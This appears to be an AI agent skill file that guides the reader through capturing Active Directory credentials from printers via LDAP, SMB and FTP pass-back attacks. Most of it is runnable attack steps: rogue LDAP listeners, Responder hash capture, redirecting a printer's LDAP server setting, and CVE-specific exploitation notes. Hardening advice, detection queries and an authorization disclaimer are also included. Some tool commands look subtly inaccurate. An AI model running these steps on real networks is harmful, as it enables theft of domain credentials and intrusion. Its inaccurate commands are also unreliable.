Printer LDAP Credential Harvesting

This skill helps you capture Active Directory credentials from printers and MFPs (Multi-Function Printers) that are configured with LDAP authentication. Many printers will send credentials in clear-text when they attempt to bind to an LDAP server.

When to Use This Skill

• You're conducting an AD penetration test and want to test printer security
• You need to verify if printers will leak credentials to a rogue LDAP server
• You're investigating CVE-2024-12510, CVE-2024-12511, or similar pass-back vulnerabilities
• You want to enumerate printer configurations and stored credentials
• You're doing a security assessment of printer infrastructure

Attack Overview

Printers configured with LDAP for address book lookups or authentication often:

1. Store domain credentials in clear-text or weakly encrypted form
2. Send credentials in clear-text when binding to LDAP servers
3. Allow LDAP server configuration changes without re-entering credentials
4. Can be tricked into authenticating against attacker-controlled LDAP servers

Quick Start

1. Set Up a Rogue LDAP Listener

Use one of these methods to capture credentials:

Method A: Simple Netcat Listener (works on older devices)

# Run from your attack machine
sudo nc -k -v -l -p 389

Method B: Full LDAP Server with slapd (recommended, more reliable)

# Install slapd
sudo apt install slapd ldap-utils

# Configure (any base-DN works, won't be validated)
sudo dpkg-reconfigure slapd

# Run in debug mode to see clear-text credentials
slapd -d 2 -h "ldap:///"

Method C: Python Rogue LDAP (lightweight alternative)

# Using impacket
python -m impacket.examples.ldapd -debug

2. Trigger the Printer to Connect

You have several options to force the printer to authenticate against your rogue LDAP server:

Option A: Modify Printer Configuration (if you have web interface access)

1. Access the printer's web interface
2. Navigate to: Network → LDAP Setting → Setting Up LDAP
3. Change the LDAP server address to your attack machine's IP
4. Click "Test Connection" or "Address Book Sync"

Option B: Use Automated Tools

# PRET - Printer Exploitation Toolkit
python pret.py <printer-ip> pjl

# Praeda - Harvest configuration including LDAP creds
perl praeda.pl -t <printer-ip>

Option C: SMB/FTP Pass-Back (for scan-to-folder vulnerabilities)

# Set up rogue SMB server
impacket-smbserver share /tmp

# Or use Responder for NTLMv2 hash capture
responder -I <interface> -wrf

3. Capture and Analyze Credentials

When the printer connects, you'll see:

• Clear-text username/password in slapd debug output
• NTLMv2 hashes if using Responder
• FTP credentials if using scan-to-folder pass-back

Example slapd output:

slapd: connection from <printer-ip> port <port>
slapd: bind DN: CN=PrinterService,OU=ServiceAccounts,DC=domain,DC=local
slapd: password: ******** (visible in debug mode)

Detailed Methods

Method 1: Netcat Listener

Best for quick tests on older MFPs that send simple-bind in clear-text.

# LDAP (port 389)
sudo nc -k -v -l -p 389

# LDAPS (port 636) - less common on printers
sudo nc -k -v -l -p 636

# Alternative port (3269 - Global Catalog)
sudo nc -k -v -l -p 3269

Limitations:

• Modern devices often perform anonymous search first
• May not capture credentials if device uses SASL or other auth methods
• Results vary by device model and firmware

Method 2: Full LDAP Server (Recommended)

Using slapd provides more reliable results because it handles the full LDAP protocol.

Setup Script:

#!/bin/bash
# save as setup-ldap-listener.sh

# Install dependencies
sudo apt update
sudo apt install -y slapd ldap-utils

# Configure slapd (non-interactive)
echo "slapd slapd/password1 password yourpassword" | debconf-set-selections
echo "slapd slapd/password2 password yourpassword" | debconf-set-selections
sudo dpkg-reconfigure -f noninteractive slapd

# Stop existing slapd
sudo systemctl stop slapd

# Run in foreground with debug output
slapd -d 2 -h "ldap:///" -f /etc/slapd.conf

What to look for in output:

• bind DN:

  - the service account username

• password:

  - the clear-text password (in debug mode)
• Connection attempts from printer IP addresses

Method 3: Impacket LDAP Server

Lightweight Python-based alternative to slapd.

# Install impacket if needed
pip install impacket

# Run rogue LDAP server
python -m impacket.examples.ldapd -debug

# Or with specific options
python -m impacket.examples.ldapd -dc-ip <your-ip> -debug

Method 4: Responder for NTLMv2

Capture NTLMv2 hashes instead of clear-text credentials.

# Install responder
pip install responder

# Run with LDAP and SMB
responder -I <interface> -wrf

# Or just LDAP
responder -I <interface> -l

Automated Enumeration Tools

PRET (Printer Exploitation Toolkit)

# Clone and setup
git clone https://github.com/foospidy/pret.git
cd pret

# Discover printers via SNMP
python pret.py <printer-ip> snmp

# Access file system via PJL
python pret.py <printer-ip> pjl

# Check for default credentials
python pret.py <printer-ip> default-creds

Praeda

# Harvest configuration from printer
perl praeda.pl -t <printer-ip>

# With specific options
perl praeda.pl -t <printer-ip> -p 80 -o output/

What Praeda extracts:

• LDAP server configurations
• Stored credentials
• Address book entries
• Network settings
• User accounts

Custom Enumeration Script

Create

enumerate-printers.py

for batch testing:

#!/usr/bin/env python3
import socket
import sys

def check_ldap_port(ip, port=389):
    """Check if printer is listening on LDAP port"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except:
        return False

def check_web_interface(ip):
    """Check if printer web interface is accessible"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        result = sock.connect_ex((ip, 80))
        sock.close()
        return result == 0
    except:
        return False

def main():
    if len(sys.argv) < 2:
        print("Usage: python enumerate-printers.py <ip> [ip2] [ip3]...")
        sys.exit(1)
    
    for ip in sys.argv[1:]:
        print(f"\nChecking {ip}:")
        print(f"  Web interface (80): {'Open' if check_web_interface(ip) else 'Closed'}")
        print(f"  LDAP (389): {'Open' if check_ldap_port(ip) else 'Closed'}")
        print(f"  LDAPS (636): {'Open' if check_ldap_port(ip, 636) else 'Closed'}")

if __name__ == "__main__":
    main()

Known Vulnerabilities

Xerox VersaLink CVE-2024-12510 & CVE-2024-12511

Affected: Firmware ≤ 57.69.91 on VersaLink C70xx MFPs

CVE-2024-12510 (LDAP pass-back):

• Change LDAP server address in web interface
• Trigger lookup to leak Windows credentials
• Works with default credentials or authenticated admin

CVE-2024-12511 (SMB/FTP pass-back):

• Same mechanism via scan-to-folder destinations
• Leaks NetNTLMv2 or FTP clear-text credentials

Exploitation:

# Simple listener is sufficient
sudo nc -k -v -l -p 389

# Or for SMB
impacket-smbserver share /tmp

Canon imageRUNNER / imageCLASS (May 2025 Advisory)

Affected: Dozens of Laser & MFP product lines

Vulnerability: SMTP/LDAP pass-back weakness

• Admin access allows server configuration modification
• Retrieves stored LDAP or SMTP credentials
• Many organizations use privileged accounts for scan-to-mail

Exploitation:

# LDAP listener
slapd -d 2 -h "ldap:///"

# SMTP listener (for scan-to-mail)
# Use custom SMTP server or Responder

Hardening Recommendations

After testing, recommend these mitigations:

1. Patch firmware promptly - Check vendor PSIRT bulletins
2. Use least-privilege service accounts - Never use Domain Admin for printer LDAP/SMB/SMTP
3. Restrict management access - Place printer interfaces in management VLAN or behind ACL/VPN
4. Disable unused protocols - FTP, Telnet, raw-9100, older SSL ciphers
5. Enable audit logging - Syslog LDAP/SMTP failures, correlate unexpected binds
6. Monitor for clear-text LDAP binds - Printers should only talk to DCs
7. Use SNMPv3 or disable SNMP - Community

   public

   often leaks configuration

Detection Queries

Splunk/SIEM Queries

# Detect LDAP binds from printers
index=network sourcetype=ldap "bind DN" (printer OR mfp OR multifunction)

# Detect clear-text LDAP on unusual ports
index=network port=389 ("simple bind" OR "bind DN")

# Detect printer web interface access from unusual sources
index=web src_ip!=<trusted-network> uri="/ldap" OR uri="/network"

Network Monitoring

# Monitor LDAP traffic with tcpdump
tcpdump -i <interface> port 389 -A -s 0

# Monitor for LDAP binds
tcpdump -i <interface> port 389 -A | grep -i "bind"

References

• Just a Printer - Grimhacker
• Obtaining Domain Credentials from Printers - CEO S3C
• Exploiting Multifunction Printers - Nick Vangilder
• Rapid7 - Xerox VersaLink Pass-Back Vulnerabilities
• Canon PSIRT - SMTP/LDAP Passback Advisory

Safety & Legal

Important: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.

This skill is intended for:

• Authorized penetration testing engagements
• Security assessments with proper scoping
• Educational purposes in controlled environments
• Red team exercises with appropriate authorization